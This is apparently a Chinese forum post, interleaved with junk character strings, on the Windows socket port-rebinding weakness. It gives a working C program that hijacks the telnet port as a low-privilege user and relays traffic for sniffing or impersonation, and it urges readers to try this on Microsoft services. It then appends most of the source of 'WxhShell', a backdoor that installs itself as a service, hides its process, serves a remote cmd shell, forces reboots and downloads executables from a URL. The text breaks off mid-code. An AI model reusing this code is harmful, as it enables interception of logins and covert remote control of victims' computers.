在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2=/-,kOL_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Qj*.Z4ue [FLR&=.( saddr.sin_family = AF_INET;
I Zw :q?#$? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
e.~11bx ncMzHw bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&}
{ #g um}q @BU 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
&BRa5`
|Wjpnz 这意味着什么?意味着可以进行如下的攻击:
cnI5G! Wky9wr:g 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-$DfnAh v; R2,`[W 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
M:b#">M ex6R=97uA 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
@`dlhz *@H\J e` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
gKQV99 K/K-u 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
eLnS1w2 Qd{8.lB~LQ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
b $JS| @Z2np{X: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Gx6%Z$2n zRou~Kxi #include
H!&_Tv[ #include
Tjhy@3 #include
cR_ pC
9z #include
F"UI=7:o DWORD WINAPI ClientThread(LPVOID lpParam);
6 dV )pJd int main()
40pz <-B {
D>-r ` WORD wVersionRequested;
-0x Q'1I DWORD ret;
8-Y*b89 WSADATA wsaData;
L!lmy&1 BOOL val;
28`s+sH SOCKADDR_IN saddr;
3%5a&b SOCKADDR_IN scaddr;
&JcatI int err;
-5 D<zP/ SOCKET s;
%1.F;-GdsW SOCKET sc;
"ayV8{m^3 int caddsize;
V~ORb1 HANDLE mt;
mfN'+`r DWORD tid;
}Sbk qd5 wVersionRequested = MAKEWORD( 2, 2 );
pCA`OP);= err = WSAStartup( wVersionRequested, &wsaData );
/Pkz3(1 if ( err != 0 ) {
.
ump?
M printf("error!WSAStartup failed!\n");
sQac%.H;`U return -1;
dC{dw^ }
k$JOHru saddr.sin_family = AF_INET;
*LU/3H|} ao"2kqa)r //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
bXOKC dpw-a4o} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
; Byt'S saddr.sin_port = htons(23);
nqm=snh if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Z$JJ0X {
UZ2_FP printf("error!socket failed!\n");
YLGE{bS return -1;
BEvY&3%l }
bo/9k 4N3 val = TRUE;
X<$Tn60, //SO_REUSEADDR选项就是可以实现端口重绑定的
fy4zBI@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Q_|}~4_+ {
%DYh<U4N printf("error!setsockopt failed!\n");
"(7y%TFt: return -1;
A*?PH`bY }
)q-NE) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Syy{ ^Ae} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
rZJJ\ , | //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
j2<+[h- ~TEn + if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
KE~Q88s {
YHQ]]#' ret=GetLastError();
+w^,!gA& printf("error!bind failed!\n");
R~kO5jpW return -1;
?$ e]K/* }
-smN}*3[ listen(s,2);
%m\:AK[} while(1)
mn?F;=qE {
w\o6G7 caddsize = sizeof(scaddr);
W~;Jsd=f //接受连接请求
u9OY
Jo sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
AX8~w(sv if(sc!=INVALID_SOCKET)
<VKJ+ {
-je} PwT mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
L
AasmQ if(mt==NULL)
@6>Q&GYqt {
gGL}FNH printf("Thread Creat Failed!\n");
Ne1Oz} break;
0BlEt1e2T }
f?Zjd&|Ch }
p{^:b6 CloseHandle(mt);
.iRKuBM/ }
+ig%_QED[\ closesocket(s);
Lc{arhN WSACleanup();
@"MYq#2c$ return 0;
M/=36{,w- }
,r w4Lo DWORD WINAPI ClientThread(LPVOID lpParam)
/B@{w-N {
hhy+bA} SOCKET ss = (SOCKET)lpParam;
id1cZig SOCKET sc;
|VWT4*K unsigned char buf[4096];
m6ge
% SOCKADDR_IN saddr;
w5HIR/kP long num;
m7'<k1#"Y DWORD val;
UJI2L-;Ul DWORD ret;
FfJ;r'eGs //如果是隐藏端口应用的话,可以在此处加一些判断
MF4( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
B@&sG
5ES saddr.sin_family = AF_INET;
Bdw33z*m saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
PlzM`g$A saddr.sin_port = htons(23);
^[xcfTN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
q5SPyfE[ {
*=!e, printf("error!socket failed!\n");
.P)lQk\ return -1;
~DInd-<5 }
o:AfEoH"~ val = 100;
%;k Hnl if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`s
CwgY+ {
UPuoIfuqI ret = GetLastError();
"#r)NYq`"| return -1;
}8ubGMr,Y }
7EE{*}?0E if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
fZo#:"{/K {
T?pS2I~ ret = GetLastError();
8Agg%*Qs} return -1;
smf"F\Ws }
:snO*Zg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$ZBYOA {
yDafNH printf("error!socket connect failed!\n");
A9MM^jV8 closesocket(sc);
<giBL L! closesocket(ss);
10FiA; return -1;
|:1{B1sqA }
13X}pnW while(1)
7y'uZAF {
^<CVQ8R7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`pfIgryns //如果是嗅探内容的话,可以再此处进行内容分析和记录
*U[yeE]. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
@Dh2@2`> num = recv(ss,buf,4096,0);
FOXSs8"c]! if(num>0)
.T'@P7Hdx send(sc,buf,num,0);
@L3XBV2 else if(num==0)
p\w<~pN[ break;
t%lat./yT num = recv(sc,buf,4096,0);
H$h#n~W~ if(num>0)
j<p.#jkT send(ss,buf,num,0);
l^lb ^"o else if(num==0)
M|*YeVs9# break;
XIdh9)]^} }
D<S C
` closesocket(ss);
;o9h|LRs closesocket(sc);
MUrPr return 0 ;
h@Q^&%w }
wh8';LZ>R S[Du
> j7~FR{:j ==========================================================
*jlIV$r_ U] LDi8 下边附上一个代码,,WXhSHELL
5'} V`?S ^e.-Ji ==========================================================
pE5v~~9Ikv %2}fW\%' #include "stdafx.h"
`L'g<VK; RxP H[7oZ #include <stdio.h>
/|0-O'' #include <string.h>
BX >L7 n #include <windows.h>
sey,J5? #include <winsock2.h>
%k!CjW3 #include <winsvc.h>
a`!Jq' #include <urlmon.h>
"n%s>@$ xa~]t<2 #pragma comment (lib, "Ws2_32.lib")
+hyOc|5 #pragma comment (lib, "urlmon.lib")
mJSfn"b}K c#n
2! #define MAX_USER 100 // 最大客户端连接数
'FErk~}/4s #define BUF_SOCK 200 // sock buffer
%fj5;}E. #define KEY_BUFF 255 // 输入 buffer
b[74$W{ T`&zQQ6F' #define REBOOT 0 // 重启
/WuYg
OI #define SHUTDOWN 1 // 关机
C~ 1] PF%-fbh!~ #define DEF_PORT 5000 // 监听端口
K zWo}tT 'R7 \ #define REG_LEN 16 // 注册表键长度
V@
>(xe7 #define SVC_LEN 80 // NT服务名长度
Cr.YSWg)4 0,%{r.\S // 从dll定义API
z#*.9/y\^R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
.xRdKt!p typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
y\?ey'o typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
f"ezmZI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
n|i:4D Rf:.'/<^ // wxhshell配置信息
6Tl6A>%s struct WSCFG {
GKBoSSnV& int ws_port; // 监听端口
lzEynMO+ char ws_passstr[REG_LEN]; // 口令
qe0 D[L int ws_autoins; // 安装标记, 1=yes 0=no
.GrOdDK$ns char ws_regname[REG_LEN]; // 注册表键名
`/8@Fj char ws_svcname[REG_LEN]; // 服务名
Un6R)MVT char ws_svcdisp[SVC_LEN]; // 服务显示名
2JfSi2T char ws_svcdesc[SVC_LEN]; // 服务描述信息
M>AxVL char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7L!JP:v int ws_downexe; // 下载执行标记, 1=yes 0=no
^ ""edCs char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
I|@+O# char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Vj*-E
^CkMk 1 };
H1bR+2s >e;-$$e // default Wxhshell configuration
]fyfL|(; struct WSCFG wscfg={DEF_PORT,
V1aP_G-: "xuhuanlingzhe",
XqTguO' 1,
G/_IY; "Wxhshell",
@oXGa>Ru "Wxhshell",
D-gH_ff<]9 "WxhShell Service",
ula-o)S "Wrsky Windows CmdShell Service",
')m!48 "Please Input Your Password: ",
5UEZpxnv 1,
/v{+V/'+ "
http://www.wrsky.com/wxhshell.exe",
qN!oN* "Wxhshell.exe"
t-\+t<; };
Q0U~s\< 4V+bE$Wu // 消息定义模块
1h,iWHC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Itl8#LpLM char *msg_ws_prompt="\n\r? for help\n\r#>";
l1 +l@r\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
f"MID6 char *msg_ws_ext="\n\rExit.";
o@:"3s char *msg_ws_end="\n\rQuit.";
- x char *msg_ws_boot="\n\rReboot...";
SQodk:1) char *msg_ws_poff="\n\rShutdown...";
384n1? char *msg_ws_down="\n\rSave to ";
*;<fh,wOk KWJVc
` char *msg_ws_err="\n\rErr!";
WTSh#L char *msg_ws_ok="\n\rOK!";
yaUtDC.| \v2!5z8| char ExeFile[MAX_PATH];
F y+NJSG int nUser = 0;
z0 "DbZ;d HANDLE handles[MAX_USER];
_7Y
h[I4 int OsIsNt;
kCBtK?g #AD_EN9 SERVICE_STATUS serviceStatus;
T+Oqd\05.+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
d ^bSV4 ho\1[xS // 函数声明
fM=o?w6v int Install(void);
D!j/a!MaKk int Uninstall(void);
k&Pt\- 9on int DownloadFile(char *sURL, SOCKET wsh);
S=@+qcI int Boot(int flag);
}k^uup*{ void HideProc(void);
p Cz6[*kC int GetOsVer(void);
]J7qsMw int Wxhshell(SOCKET wsl);
e"
v%m'G void TalkWithClient(void *cs);
i5e10@Q{ int CmdShell(SOCKET sock);
o E+'@ int StartFromService(void);
'Y?-."eKh int StartWxhshell(LPSTR lpCmdLine);
X=)V<2WO 1T^WMn:U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
-U|c~Cqc VOID WINAPI NTServiceHandler( DWORD fdwControl );
9CDei~ I Xc `Ec // 数据结构和表定义
k/K)nH@) SERVICE_TABLE_ENTRY DispatchTable[] =
RX gb/VR {
'HA{6v,y {wscfg.ws_svcname, NTServiceMain},
#6 M]tr {NULL, NULL}
5y#,z`S };
8v$q+Wic E0Wc8m " // 自我安装
T7[@ lMa? int Install(void)
r%,?uim# {
N ,~O+ char svExeFile[MAX_PATH];
{cK<iQJ HKEY key;
Y=S0|!u strcpy(svExeFile,ExeFile);
5KCQvv\
s*uA3}j // 如果是win9x系统,修改注册表设为自启动
yD9enYM if(!OsIsNt) {
Liqo)m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3",gjXmBu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>* -IIo RegCloseKey(key);
9b.
kso9. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
K~(RV4oF8B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
DUOoTlp RegCloseKey(key);
g )hEzL0k return 0;
[ 8Ohg }
/!6 'K }
66=[6U9 * }
]kj^T?&n. else {
{*xE+ | >"W^|2R // 如果是NT以上系统,安装为系统服务
/}:{(Go SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
!(d]f0 if (schSCManager!=0)
>y%H2][ {
g~U(w SC_HANDLE schService = CreateService
TKZtoQP% (
TOG:`FID schSCManager,
7[ ovEE54 wscfg.ws_svcname,
N[{rsUBd wscfg.ws_svcdisp,
Z-@nXt SERVICE_ALL_ACCESS,
h:Pfiw] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
N/a4Gl( SERVICE_AUTO_START,
*C*J1JYp+ SERVICE_ERROR_NORMAL,
DB}Uzw| svExeFile,
y0%@^^-Ru NULL,
} z'Jsy[s NULL,
[LVXXjkFI NULL,
)*KMU? NULL,
j0l,1=^>l NULL
J0sD?V|{1~ );
-P]O t>%S if (schService!=0)
i/>k_mG$d {
ing'' _ CloseServiceHandle(schService);
o "z()w~ CloseServiceHandle(schSCManager);
/|EdpHx0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Ah2@sp,z strcat(svExeFile,wscfg.ws_svcname);
a%#UF@I if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5%-{r& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}7.A~h RegCloseKey(key);
`d <`> return 0;
Q{/z>-X\x }
W;u.@I& }
\Ec<ch[)c CloseServiceHandle(schSCManager);
^t0!Dbx3SE }
54$^ldD }
"P !
.5B 7D'\z
IW return 1;
BMp'.9Qgm }
*@rA7zPFf ]d*9@+Iu // 自我卸载
1}VaBsEV int Uninstall(void)
CHnclT {
K V5
'-Sv1 HKEY key;
gT}H B. 1AJ6NBC&c if(!OsIsNt) {
Vgm*5a6t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
80nE QT
y RegDeleteValue(key,wscfg.ws_regname);
7L~*%j RegCloseKey(key);
WwmYJl0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'm<Lx _i RegDeleteValue(key,wscfg.ws_regname);
zs=3e~o3 RegCloseKey(key);
'sEnh< return 0;
IMM;LC%rD9 }
#|9W9\f, }
D]~K-[V?l }
rWht},-|1 else {
a`wjZ"}'[ 3kxo1eb
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|/,SNE if (schSCManager!=0)
"uH>S+%|b {
p?gm=b# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
#A)V if (schService!=0)
J|WE&5' {
!5,C"r if(DeleteService(schService)!=0) {
~RR!~q CloseServiceHandle(schService);
V60L\?a CloseServiceHandle(schSCManager);
Q[OwP return 0;
.`D'eS6b }
ItVN,sVJb CloseServiceHandle(schService);
#Y5k/NPg }
GvVkb==" CloseServiceHandle(schSCManager);
7}iv+rQ }
J;& y?%{@5 }
::Zo` vP /WQ.,a return 1;
"#C2+SKM1 }
ztVTXI%Kz 5=o ^/Vkc // 从指定url下载文件
2@S}x@^ int DownloadFile(char *sURL, SOCKET wsh)
TPp]UG {
M+ [ho] HRESULT hr;
v ,")XPY char seps[]= "/";
8maWF.xq char *token;
x/,;:S char *file;
\HGf!zZ char myURL[MAX_PATH];
R+LKa Z char myFILE[MAX_PATH];
1Vpti4OmU rC8p!e.yL strcpy(myURL,sURL);
GxdAOiq; token=strtok(myURL,seps);
&nEL}GM)E while(token!=NULL)
wfo, r 7 {
+O/b[O'0 file=token;
2^r~-> token=strtok(NULL,seps);
5FOMh"!z\ }
s#?ZwD,= sK2N3B&6 GetCurrentDirectory(MAX_PATH,myFILE);
-6[DQB strcat(myFILE, "\\");
v,<14w strcat(myFILE, file);
cC~RW71 send(wsh,myFILE,strlen(myFILE),0);
r!R-3LO0s send(wsh,"...",3,0);
REW[`MBQ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
XIwJhsYZ'9 if(hr==S_OK)
J,}h{-Xy` return 0;
m?w_
] else
m. pm, return 1;
P&0eu w/|&N>ZOx }
R`(2Fy%0\k 9KVJk</:n // 系统电源模块
]BO:*&O int Boot(int flag)
R U)(|; {
wn"}<ka HANDLE hToken;
"B QnP9 TOKEN_PRIVILEGES tkp;
nCY kUDnZ x9YQd69 if(OsIsNt) {
$toTMah
w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$d*9]M4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
"\wMs tkp.PrivilegeCount = 1;
kY)Vr3uGA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
k8D_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
](Fey0@ if(flag==REBOOT) {
/DAR'9@h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
,@ '^3u return 0;
G*9(O: }
2+9VDf2 else {
kX8C'D4 gX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ZJ3g,dc return 0;
-#ZvjEaey }
PYCN3s#Gi }
sh
:$J[ else {
#8Bh5L!SJ1 if(flag==REBOOT) {
?tLApy^`? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
c_>Gl8J return 0;
U}w'/:H }
n3iiW\ else {
`*s:[k5k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\0)jWCK return 0;
vhBW1/w&F }
p}^G#h{ }
DhE-g< b1C)@gl !Z return 1;
[lzd' }
jrp>Y: t]HY@@0g // win9x进程隐藏模块
w9'>&W8T void HideProc(void)
Mq\=pxC@ {
hhU_kI D7hTn@I HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.~i|kc]Ue if ( hKernel != NULL )
b6-N2F1Fs {
L;3%8F\-. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
AYn65Ly ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Fx^wV^q3 FreeLibrary(hKernel);
lE k@I" }
-PpcFLZ| :;_
khno return;
:9hGL }
i.E2a) %axr@o[ // 获取操作系统版本
x_Ev2
c'4 int GetOsVer(void)
Ja6 KO2}p {
H~FI@Cf$L OSVERSIONINFO winfo;
3X gJZ
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2F2Hl GetVersionEx(&winfo);
xSudDhRP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Xl4}S"a return 1;
cKVFykwM else
e\6H.9= return 0;
W1REF9i){ }
]Q"T8drL TsFhrtnx&X // 客户端句柄模块
-lo?16w int Wxhshell(SOCKET wsl)
9"P+K.% {
M+%Xq0`T SOCKET wsh;
6 - 3?&+ struct sockaddr_in client;
E+\?ptw DWORD myID;
&'u|^d it}h8:^< while(nUser<MAX_USER)
o898pg {
27!FB@k- int nSize=sizeof(client);
{4S UGo> wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~uhW~bT if(wsh==INVALID_SOCKET) return 1;
uZld9u <1*kXTN( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Tf3CyH!k if(handles[nUser]==0)
Pxl, " closesocket(wsh);
:'T+`( else
2^B_iyF; nUser++;
"AagTFs(i }
=NY;#Jjn WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
RiTL(Yx K$Bv4_|x return 0;
]he~KO[j< }
HR-'8?)R.A ?;l@yx // 关闭 socket
M8-8T void CloseIt(SOCKET wsh)
2G8w&dtu {
RsDSsux closesocket(wsh);
,NGHv?.N nUser--;
#zP-,2!r ExitThread(0);
@V
' HX }
+<Gp >c :u7BCV|yr // 客户端请求句柄
=K:[26 void TalkWithClient(void *cs)
s",Ea* {
Fn5BWV %UI^+:C SOCKET wsh=(SOCKET)cs;
j/aJD E(+ char pwd[SVC_LEN];
kEh\@x[ char cmd[KEY_BUFF];
4ior char chr[1];
ovp/DM int i,j;
Qhj']>#g 1i#y>fUj while (nUser < MAX_USER) {
0PkX- . i`+w.zJOH8 if(wscfg.ws_passstr) {
HVa D if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;Ci:d* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
76D$Nm //ZeroMemory(pwd,KEY_BUFF);
L"jA#ULg i=0;
qIJc\,' while(i<SVC_LEN) {
G
y[5'J` R([zlw~B5 // 设置超时
z6w'XA1_+t fd_set FdRead;
"" UyfC[ struct timeval TimeOut;
b"$?(Y FD_ZERO(&FdRead);
_o9axBJs FD_SET(wsh,&FdRead);
?jR#txR TimeOut.tv_sec=8;
`i.fm1I] TimeOut.tv_usec=0;
W_@ b. 1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
pJFn
8&!J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`!cdxKLR #;8)UNc)} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9 &r]k8K pwd
=chr[0]; }36A eJ7L
if(chr[0]==0xd || chr[0]==0xa) { K{d3)lVYCS
pwd=0; 9<3( QR
break; Tbm
~@k(C
} Osz=OO{
i++; "&H'?N%9Up
} A_TaXl(
-G>J
// 如果是非法用户,关闭 socket oO;L l?~
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P
DY :?/
} #)}BY"C%
C] Fw*t
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V(Pw|u"
e
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Mk#) ebM
; s(bd#Q
while(1) { sq=EL+=j
b;
of9hY
ZeroMemory(cmd,KEY_BUFF); Hx6ODj[-
]0'cdC
// 自动支持客户端 telnet标准 r??_2>Q
j=0; jUE:QOfRib
while(j<KEY_BUFF) { >h8m8J
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J,,VKA&
cmd[j]=chr[0]; 9U;
if(chr[0]==0xa || chr[0]==0xd) { Yp(0 XP5o
cmd[j]=0; <U$YJtEK
break; 1M`>;fjYa
} 8G)~#;x1
j++; 7[=G;2<
} n`^jNXE
,JI] Eij^
// 下载文件 #8XmOJ"W3k
if(strstr(cmd,"http://")) { 1$DcE>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); oC"
[rn
if(DownloadFile(cmd,wsh)) \X\< +KU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a)W|gx6Y
else Y
22Ai
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pF6u3]
} o;wSG81
else { o.r D
l'm|**
switch(cmd[0]) { Otu?J_ d3
|};d:LwX
// 帮助 #qVvh3#g
case '?': { w &YUb,{Y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?J6Ek*E#
break; #NyO'
} ]N}/L
lq
// 安装 P4)Q5r
case 'i': { gm5%X'XL
if(Install()) ZzK^bNx)0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fwUvFK1G
else ag8)^p'9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b,:^\HKC
break; VS4Glx73
} .qe+"$K'n
// 卸载 [3=Y 9P:
case 'r': { ,l!>+@
if(Uninstall()) An>ai N]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t0cS.hi
else 'r=2f6G>cP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W 8`6O2
break; hwk] ;6[
} M%54FsV
// 显示 wxhshell 所在路径 X`<z5W] !
case 'p': { [pms>TQ2
char svExeFile[MAX_PATH]; s8A"x`5(
strcpy(svExeFile,"\n\r"); ^%%Rf
strcat(svExeFile,ExeFile); "&XhMw4
send(wsh,svExeFile,strlen(svExeFile),0); (8~mf$ zx,
break; V* JqC
} #5y+gdN
// 重启 8=bn
TJf
case 'b': { ^W}|1.uZ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #/I+[|=[O
if(Boot(REBOOT)) f.` 8vaV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q9x@Pc29d
else { cl#XiyK>
closesocket(wsh); @Wd(>*"zw
ExitThread(0); "<Di
} C<C^7-5
break; QNE/SSL
} 3Yx'/ =]
// 关机 8T.bT6
case 'd': { m%eCTpYo
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =ZoNkj/^,
if(Boot(SHUTDOWN)) D$KP>G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); | J'k9W"
else { RpU i'
closesocket(wsh); (Of`VT3ZOA
ExitThread(0); $#%R_G]
} p4O[X\T
break; nQ'NS
} sBWyUD
// 获取shell HQF@@
case 's': { Uun0FCA>
CmdShell(wsh); (MqQ3ys
closesocket(wsh); GLub5GrxR
ExitThread(0); 7H6Ge-u
break; 731RqUR
} j+fF$6po#t
// 退出 DB|w&tygq
case 'x': { 0gOca +&
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *EO*Gg0d
CloseIt(wsh); 0 GFho$f
break; Tw%1m
} Z;u3G4XlF
// 离开 w?3ww7yf`
case 'q': { _"H\,7E
send(wsh,msg_ws_end,strlen(msg_ws_end),0); &RuTq6)r
closesocket(wsh); GGLSmfb)
WSACleanup(); ,|8aDL?
exit(1); e7n0=U0
break; TSJeS`I
} EGFP$nvq
} (VkO[5j
} r1.zURY
}#~E-N3x
// 提示信息 v 9G~i
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a`9pHH:7Q
} -#<{3BJTrz
} p4\sKF8-
y] 9/Xr/
return; uDcs2^2l
} 9;n*u9<
1W.oRD&8j/
// shell模块句柄 E!WlQr:b$
int CmdShell(SOCKET sock) F&CvqPI
{ ZJFF4($qN
STARTUPINFO si; >^W6'Q$P<
ZeroMemory(&si,sizeof(si)); vEG7A$Z"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fGH)Fgo`
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #u"@q< )
PROCESS_INFORMATION ProcessInfo; fhdqes])
char cmdline[]="cmd"; KDf#e3
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v0!(&g3Sd
return 0; j,%i.[8S
} U7fNA7#x"
li{<F{7
// 自身启动模式 '9qyf<MlY
int StartFromService(void) Vnb@5W2\
{ e&A3=a~\s
typedef struct -=lL{oB1
{ 7On.y*
DWORD ExitStatus; W! |_ hL
DWORD PebBaseAddress; fMHw=wJQ
DWORD AffinityMask; HdY#cVxy
DWORD BasePriority; Y[VXx8"p
ULONG UniqueProcessId; gs.+|4dv
